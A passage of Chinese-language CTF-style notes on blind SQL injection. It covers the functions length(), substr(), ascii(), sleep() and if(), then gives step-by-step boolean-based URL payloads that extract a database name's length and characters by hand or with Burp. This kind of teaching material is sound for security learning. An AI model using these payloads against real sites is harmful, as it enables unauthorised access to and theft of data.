盲注需要掌握的几个函数:
1.length() 判断字符串的长度
举例:and length(database())>1
2.substr() 截取字符串的函数
格式:substr(str,pos,len)
substr(字符串内容,从哪里切,切多长)
可用于:and substr(database(),1,1)=’a’ 来判断数据库的第一位是否为a
3.ascii() 返回字符的asc码
加入ascii码判断,可改为:
?id=1 and ascii(substr(database(),1,1))>97
4.sleep() 将函数挂起一段时间
举例:slepp(n) n为n秒
5.if(expr1,expr2,expr3) 判断语句
如果第一个语句正确就执行第二个语句,错误就执行第三个语句。
布尔盲注(一)
1.判断库名长度。
题目url处get传参设置:
?id=1 and length(database())>1
?id=1 and length(database())>2
手动注入的话用二分法,用burp的话设置长度跑就行。
最后得出长度大于11,但不大于12,长度为12
2.判断库名
题目url处get传参设置:
?id=1 and ascii(substr(database(),1,1))>1
?id=1 and ascii(substr(database(),1,1))>2
一直递加到
?id=1 and ascii(substr(database(),1,1))>127
由此判断出第一个字母是多少。
同理判断第二个字母则用
?id=1 and ascii(substr(database(),2,1))>1
?id=1 and ascii(substr(database(),2,1))>2
一直递加到
?id=1 and ascii(substr(database(),2,1))>127
再次判断第三个字母……一直到第12个字母
可以用burp设置number1和number2来跑包,在Instruder.Posi